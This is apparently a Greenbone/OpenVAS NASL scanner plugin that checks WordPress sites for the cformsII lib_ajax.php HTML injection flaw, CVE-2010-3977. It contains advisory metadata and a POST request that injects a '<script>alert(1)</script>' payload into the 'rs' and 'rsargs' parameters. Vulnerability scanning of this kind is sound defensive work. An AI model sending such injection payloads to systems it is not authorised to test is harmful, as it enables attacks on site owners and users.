WordPress Plugin cformsII 'lib_ajax.php' Multiple HTML Injection Vulnerabilities

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801628");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2010-11-16 10:37:01 +0100 (Tue, 16 Nov 2010)");
  script_cve_id("CVE-2010-3977");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress Plugin cformsII 'lib_ajax.php' Multiple HTML Injection Vulnerabilities");
  script_xref(name:"URL", value:"http://secunia.com/advisories/42006");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44587");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/62938");
  script_xref(name:"URL", value:"http://www.conviso.com.br/security-advisory-cform-wordpress-plugin-v-11-cve-2010-3977/");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  code in the context of the application.");
  script_tag(name:"affected", value:"WordPress plugin cforms Version 11.5 and earlier.");
  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
  input passed via the 'rs' and 'rsargs' parameters to
  wp-content/plugins/cforms/lib_ajax.php, which allows attackers to execute
  arbitrary HTML and script code on the web server.");
  script_tag(name:"solution", value:"Update to cforms Version 11.6.1 or later.");
  script_tag(name:"summary", value:"cformsII WordPress Plugin is prone to multiple HTML injection vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.deliciousdays.com/cforms-plugin/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/cforms/lib_ajax.php";
useragent = http_get_user_agent();

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
hostname = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", hostname, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
             "Content-Length: 92\r\n\r\n",
             "rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#",
             "$<script>alert(1)</script>\r\n");
res = http_keepalive_send_recv(port:port, data:req);

if(('<script>alert(1)</script>' >< res) &&
    egrep(pattern:"^HTTP/1\.[01] 200", string:res)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);